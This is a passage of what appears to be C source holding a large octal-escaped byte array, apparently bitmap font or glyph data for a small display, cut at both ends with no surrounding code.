\"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\16\\36<\\70xp\\360\\340\\340\\300\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\17\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\34\\34\\34\"\n  \"\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<\\70xp\"\n  \"\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\"\n  \"\\16\\16\\34<\\270\\370\\360\\360\\340\\340\\0\\0\\0\\0\\200\\200\\300\\300\\340\\360\\360x\\70<\\34\\36\\17\\7\\7\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\17\\17\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360pp\"\n  \"p\\360\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\377\\377\\377\"\n  \"x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374>\\37\\17\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\"\n  \"\\77\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\"\n  \">\\37\\17\\7\\3\\3\\201\\201\\201\\301\\301\\303\\303\\307\\317\\376\\374\\370\\300\\0\\376\\377\\377\\1\\0\\0\\0\\370\\376\\377\\377\\17\"\n  \"\\3\\3\\1\\1\\1\\1\\201\\377\\377\\377\\377\\0\\7\\77\\377\\374\\340\\200\\0\\1\\3\\7\\17\\37\\36\\34\\34\\34\\16\\16\\7\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\1\\3\\7\\17\\36\\36\\34<\\70\\70\\70\\70\\70<\\34\\34\\36\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\77\\377\\374\\340\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\177\\17\\1\\0\\0\\7\\77\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\"\n  \"\\377\\77\\37\\34\\34\\34\\34\\34\\34\\34\\34\\37\\177\\377\\374\\360\\200\\0\\0\\0<\\77\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\17\\77\\77<\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\1\\1\\1\\1\\1\\1\\1\\1\\3\\3\\7\\17\\377\\377\\374\\360\\0\\0\\0\\0\\377\\377\\377\\377\\70\\70\\70\\70\\70\\70\\70\"\n  \"\\70x|\\376\\357\\357\\307\\203\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\377\\377\"\n  \"\\377x\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\\70\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\77\\17\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\17\\37>\"\n  \"\\34\\30\\0\\0\\376\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\377\\377\"\n  \"\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\36\\34<\\70\\70\"\n  \"\\70\\70\\70<\\34\\36\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\1\\1\\1\\1\\1\\1\\1\\3\\3\\7\\17\\77\\376\\374\\360\\300\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\377\\377\\377\\374\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\"\n  \"\\77\\3\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70<<\\34\\36\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\377\\377\\377\\377ppppppppppppp\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\"\n  \"\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\377\\377\\377\\377\\70\\70\\70\\70\\70\\70\"\n  \"\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\37\\17\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\17\\37\\36\"\n  \"\\14\\0\\0\\0\\376\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\17\\177\\377\\377\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\377\\377\\377\\377\\0\\0\\0\\0\\1\\3\\7\\17\\17\\36\\34<\\70\\70\"\n  \"\\70\\70\\70<\\34\\36\\37\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377ppppppp\"\n  \"ppppp\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\\77\"\n  \"\\77\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\1\\1\\1\\1\\1\\1\\377\\377\\377\\377\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\177\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\4\\17\\36\\36<\\70\\70\\70\\70<\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300@\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\200\\300\\340\\360\\370|>\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\360x<\\376\\377\\367\\303\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\1\\7\\17\\77~\\374\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\3\\17\\37\\77>\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\0\\0\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\200\\340\\370~\\377\\377\"\n  \"\\377\\377\\0\\0\\377\\377\\377\\377\\0\\3\\17\\77\\376\\370\\340\\360\\374\\177\\37\\7\\1\\0\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\3\\7\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\77\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\3\\17\\37\\177\\374\"\n  \"\\360\\300\\200\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\376\\370\\340\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\37\\17\\7\\3\\3\\1\\1\\1\\3\\3\\7\\17\\37\\376\\374\"\n  \"\\370\\340\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\0\\7\\177\\377\\377\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\177\\7\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\"\n  \"\\70\\70<\\36\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\1\\1\\1\\1\\1\\1\\1\\1\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\360x|\\77\\77\\17\\3\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\37\\17\\7\\3\\3\\1\\1\\1\\3\\3\\7\\17\\37\\376\\374\"\n  \"\\370\\340\\0\\0\\376\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\0\\17\\177\\377\\377\"\n  \"\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\177\\7\\0\\0\\0\\1\\7\\17\\17\\37<<\\70\\370\\370\"\n  \"\\370\\70<<\\36\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\36\\36\\34\\34\\34\\34\\34\"\n  \"\\34\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\1\\1\\1\\1\\1\\1\\1\\1\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\360\\370|\\77\\37\\17\\3\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\374\\360\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\77>\\70 \\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\376\\377\\7\\3\\3\\1\\1\\1\\1\\1\\3\\3\\7\\17\\37\\16\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<\\70xx\\360\\360\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\207\\377\\377\\376x\\0\\0\\0\\6\\7\\17\\37\\36\\34<\\70\\70\\70\\70\"\n  \"\\70<<\\34\\36\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\1\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\77\\0\\0\\0\\0\\3\\7\\17\\37\\36\\34<\\70\\70\\70\"\n  \"\\70<<\\36\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300@\\0\\0\\7\\77\\377\"\n  \"\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\37\\3\\0\\0\\0\\0\\0\\1\\17\\177\\377\\374\\340\\0\\0\\0\"\n  \"\\0\\0\\340\\374\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\370\\300\\370\\377\\177\\17\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\77\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\37\\377\\377\\370\\0\\0\\0\\0\\0\\200\\370\\377\\376\\340\\0\\0\\0\\0\\0\\360\"\n  \"\\377\\377\\7\\0\\0\\17\\377\\377\\374\\0\\0\\300\\374\\377\\17\\1\\37\\377\\376\\360\\0\\0\\370\\377\\377\\3\\0\\0\\0\\0\\3\\377\"\n  \"\\377\\377\\374\\377\\17\\0\\0\\0\\0\\1\\37\\377\\377\\370\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\17\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\1\\37\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\37\\177\\374\\370\\340\\200\\0\\0\\0\\300\\360\\374\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\217\\377\\376\\374\"\n  \"\\377\\337\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\77\\37\\7\\3\\17\\37\\177\\374\\370\\340\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\60<\\77\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77>\\70 \\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300@\\0\\0\\1\\7\\17\\77\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\300\\360\\376\\177\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\374\\360\\360\\374\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\1\\1\\1\\1\\1\\201\\341\\371\\377\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\"\n  \"\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\374~\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70>\\77\\77;\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360ppp\"\n  \"pppppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0`\\340\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\17\\77\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\370\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\376\\370\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\374p@\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppppppppp\"\n  \"pp\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\"\n  